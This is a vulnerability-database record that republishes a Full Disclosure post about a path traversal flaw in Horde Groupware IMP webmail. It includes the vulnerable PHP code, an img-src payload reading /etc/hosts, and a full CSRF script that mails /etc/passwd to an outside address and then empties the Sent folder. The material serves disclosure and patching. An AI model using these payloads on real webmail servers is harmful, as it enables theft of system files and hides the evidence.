GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Search

Find a vulnerability

Search criteria

    1 vulnerability found for CVE-2026-58451 - Horde by Cve

    GCVE-1988-2026-0021

    Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
    VLAI
    Title
    [fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln
    Summary
    this is my first time sending to a mailing list so ive chosen something easy. here goes: Summary: Horde Groupware’s IMP Webmail solution contains a path traversal/local file inclusion vulnerability which could be exploited to escalate privileges or bypass authentication (through CSRF if unauthenticated). the vulnerability is in here: } elseif (strcasecmp($node->tagName, 'IMG') === 0) { /* Check for smileys. They live in the JS directory, under * the base ckeditor directory, so search for that and replace * with the filesystem information if found (Request * #13051). Need to ignore other image links that may have * been explicitly added by the user. */ $js_path = strval(Horde::url($registry->get('jsuri', 'horde'), true)); if (stripos($src, $js_path . '/ckeditor') === 0) { $file = str_replace( $js_path, $registry->get('jsfs', 'horde'), $src ); if (is_readable($file)) { $data_part = new Horde_Mime_Part(); $data_part->setContents(file_get_contents($file)); ... as seen, we control $file, which is just the src in <img src="">. to get past the checks to hit our file_get_contents sink, we can just satisfy the stripos check. our (elementary) exploit is thus: -- <img src="https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts";> -- this is likely very chainable with any other existing primitive to achieve rce on horde IMP. for example, heres an easy csrf chain: -- <!DOCTYPE html> <html> <body> <h1>yo</h1> <script> var p1 = new FormData(); p1.append('to', 'john () evil gov'); // land in spam p1.append('subject', 'hai'); p1.append('html', '1'); p1.append('message', '<html><body>bye<img src="http://targ/horde/js/ckeditor/../../../../etc/passwd";></body></html>'); p1.append('identity', '0'); p1.append('priority', 'normal'); p1.append('request_read_receipt', '0'); p1.append('save_sent_mail', '1'); fetch('http://targ/horde/services/ajax.php/imp/sendMessage', { method: 'POST', body: p1, credentials: 'include', mode: 'no-cors' }) .then(() => { console.log("* bye"); setTimeout(() => { var p2 = new FormData(); p2.append('mbox', 'U0VOVA'); // b64 SENT // delete fetch('http://targ/horde/services/ajax.php/imp/emptyMailbox', { method: 'POST', body: p2, credentials: 'include', mode: 'no-cors' }); }, 2000); }); </script> </body> </html> -- PATCH: update to horde imp 7.0.1 for the patch. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Impacted products

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "CVE-2026-58451 - Horde",
              "vendor": "Cve",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "\u3164evan via Fulldisclosure"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "this is my first time sending to a mailing list so ive chosen\nsomething easy. here goes:\n\nSummary: Horde Groupware\u2019s IMP Webmail solution contains a path\ntraversal/local file inclusion vulnerability which could be exploited\nto escalate privileges or bypass authentication (through CSRF if\nunauthenticated).\n\nthe vulnerability is in here:\n\n} elseif (strcasecmp($node-\u003etagName, \u0027IMG\u0027) === 0) {\n                /* Check for smileys. They live in the JS directory, under\n                 * the base ckeditor directory, so search for that and replace\n                 * with the filesystem information if found (Request\n                 * #13051). Need to ignore other image links that may have\n                 * been explicitly added by the user. */\n                $js_path = strval(Horde::url($registry-\u003eget(\u0027jsuri\u0027,\n\u0027horde\u0027), true));\n                if (stripos($src, $js_path . \u0027/ckeditor\u0027) === 0) {\n                    $file = str_replace(\n                        $js_path,\n                        $registry-\u003eget(\u0027jsfs\u0027, \u0027horde\u0027),\n                        $src\n                    );\n\n                    if (is_readable($file)) {\n                        $data_part = new Horde_Mime_Part();\n                        $data_part-\u003esetContents(file_get_contents($file));\n                      ...\n\nas seen, we control $file, which is just the src in \u003cimg src=\"\"\u003e. to\nget past the checks to hit our file_get_contents sink, we can just\nsatisfy the stripos check. our (elementary) exploit is thus:\n--\n\u003cimg src=\"https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\";\u003e\n--\nthis is likely very chainable with any other existing primitive to\nachieve rce on horde IMP. for example, heres an easy csrf chain:\n\n--\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n    \u003ch1\u003eyo\u003c/h1\u003e\n    \u003cscript\u003e\n        var p1 = new FormData();\n        p1.append(\u0027to\u0027, \u0027john () evil gov\u0027);\n        // land in spam\n        p1.append(\u0027subject\u0027, \u0027hai\u0027);\n        p1.append(\u0027html\u0027, \u00271\u0027);\n        p1.append(\u0027message\u0027,\n            \u0027\u003chtml\u003e\u003cbody\u003ebye\u003cimg\nsrc=\"http://targ/horde/js/ckeditor/../../../../etc/passwd\";\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n\n        p1.append(\u0027identity\u0027, \u00270\u0027);\n        p1.append(\u0027priority\u0027, \u0027normal\u0027);\n        p1.append(\u0027request_read_receipt\u0027, \u00270\u0027);\n        p1.append(\u0027save_sent_mail\u0027, \u00271\u0027);\n        fetch(\u0027http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos;, {\n                method: \u0027POST\u0027,\n                body: p1,\n                credentials: \u0027include\u0027,\n                mode: \u0027no-cors\u0027\n            })\n            .then(() =\u003e {\n                console.log(\"* bye\");\n                setTimeout(() =\u003e {\n                    var p2 = new FormData();\n                    p2.append(\u0027mbox\u0027, \u0027U0VOVA\u0027); // b64 SENT\n                    // delete\n\nfetch(\u0027http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos;, {\n                        method: \u0027POST\u0027,\n                        body: p2,\n                        credentials: \u0027include\u0027,\n                        mode: \u0027no-cors\u0027\n                    });\n                }, 2000);\n            });\n    \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n--\n\nPATCH:\nupdate to horde imp 7.0.1 for the patch.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-09T10:11:59Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Jul/8"
            },
            {
              "url": "http://targ/horde/js/ckeditor/../../../../etc/passwd\""
            },
            {
              "url": "http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos"
            },
            {
              "url": "http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            },
            {
              "url": "https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\""
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Jul/8"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2026-0021",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8",
                "automated": true,
                "contentSha256": "83cf4dad4368e78dfc8982e302ba2f7764e6d48049bcc80c6dac2893337b83d0",
                "evidenceScore": 7,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/8",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-07-02T17:04:19Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-09-07T13:20:20Z",
        "dateUpdated": "2026-09-09T10:11:59Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0021"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }